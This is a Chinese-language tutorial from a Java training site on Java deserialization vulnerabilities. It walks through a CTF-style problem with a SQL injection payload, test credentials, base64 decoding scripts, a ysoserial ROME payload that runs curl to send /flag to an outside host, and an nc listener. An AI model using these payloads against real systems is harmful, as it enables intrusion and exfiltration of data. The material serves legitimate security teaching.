专注Java教育14年 全国咨询/投诉热线:400-8080-105
动力节点LOGO图
始于2009,口口相传的Java黄埔军校
首页 学习攻略 Java学习 简述Java反序列化漏洞

简述Java反序列化漏洞

更新时间:2022-06-29 10:40:37 来源:动力节点 浏览1634次

Java反序列化漏洞是什么?动力节点小编来告诉大家。

漏洞原理

我们需要保存某一个对象的某一一个时间的状态信息,进行一些操作,比如利用反序列化将程序运行的对象状态以二进制形式储存在文件系统中,然后可以在另外一个程序中对序列化后的对象状态数据进行反序列化操作回复对象,可以有效的实现多平台之间的通信,对象持久化储存。

漏洞必备知识点

1.序列化和反序列化

序列化 (Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。

反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。

2.必备知识点:

JAVA序列化接口实现函数:

序列化:ObjectOutputStream–writeObject() 将序列字节写到对象中 JAVA约定是给文件.ser拓展名

反序列化:ObjectInputStream–readOject() 从输入流中读取字节序列,再将其反序列化,返回

3.JAVA序列化数据流特征:

加密便于传输,不加密不容易阅读传输,

数据流以为rO0AB开端,就是JAVA序列化的base64 加密

aced开端,JAVA序列化的16进制

涉及到以下函数,则考虑JAVA反序列化:

ObjectInputStream.readobject

ObjectInputStream.readUnshared

XMLDecoder.readObject

XStream.fromXML

ObjectMapper.readValue

JSON.parseObject …

漏洞检测利用

1.黑盒检测

数据格式点:

HTTP中请求的参数

自定义协议

RMI协议:RMI使用Java语言 接口 定义了远程对象,它集合了Java序列化和Java远程方法协议 ,简单地说,这样使原先的程序在同一操作系统的方法调用,变成了不同操作系统之间程序的方法调用,由于J2EE是分布式程序平台,它以RMI机制实现程序组件在不同操作系统之间的通信。

2.白盒检测

函数点:

涉及到下列函数可能设计JAVA反序列化

ObjectInputStream.readobject

ObjectInputStream.readUnshared

XMLDecoder.readObject

XStream.fromXML

ObjectMapper.readValue

JSON.parseObject …

3.利用

这里推荐一款只要涉及到JAVA反序列化一定会遇到的ysoserial

ysoserial是一款在Github开源的知名java反序列化利用工具,里面集合了各种java反序列化payload;

由于其中部分payload使用到的低版本JDK中的类,所以建议自己私下分析学习时使用低版本JDK JDK版本建议在1.7u21以下。

漏洞真题

1.注入判断,获取管理员帐号密码:

根据提示附件进行javaweb代码审计,发现可能存在注入漏洞

另外有swagger开发接口,测试注入漏洞及访问接口进行调用测试

数据库名:myapp,列名name,pwd

注入测试:

POST /common/test/sqlDict
dbName=myapp?a=’ union select (select pwd from user)#

2.接口测试

/swagger-ui.html接口测试:

{
“password”:“ctfhub_29588_13038”,
“username”: “ctfhub”
}

登录成功返回数据:

{
“data”: “Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==”,
“msg”: “登录成功”,
“status”: 2,
“timestamps”: 1594549037415
}

3.回显数据分析攻击思路

JAVAWEB特征可以作为序列化的标志参考:

一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。

或者如果以aced开头,那么就是这一段java序列化的16进制。

分析数据:

先利用py2脚本base64解密数据

import base64
a = “rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”
b = base64.b64decode(a).encode(‘hex’)
print(b)

再利用SerializationDumper解析数据

java -jar SerializationDumper.jar base64后的数据

4.生成反序列化payload

解密后数据中包含帐号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,思路:将恶意代码进行序列化后进行后续操作

利用ysoserial进行序列化生成

java -jar ysoserial-master-30099844c6-1.jar ROME “curl http://10.10.10.10:4444 -d @/flag” > xiaodi.bin #准备服务器反弹shell

利用py2脚本进行反序列化数据的提取

import base64
file = open(“xiaodi.bin”,“rb”)
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()

5.触发反序列化,获取flag

服务器执行:nc -lvvp 4444

数据包直接请求获取进行反序列数据加载操作

以上是题目思路,最重要最基础的一点需要知道JAVA反序列化数据流特征,以及相关函数。感兴趣的小伙伴也可以看看Java反序列化工具,希望对大家能够有所帮助。

提交申请后,顾问老师会电话与您沟通安排学习

免费课程推荐 >>
技术文档推荐 >>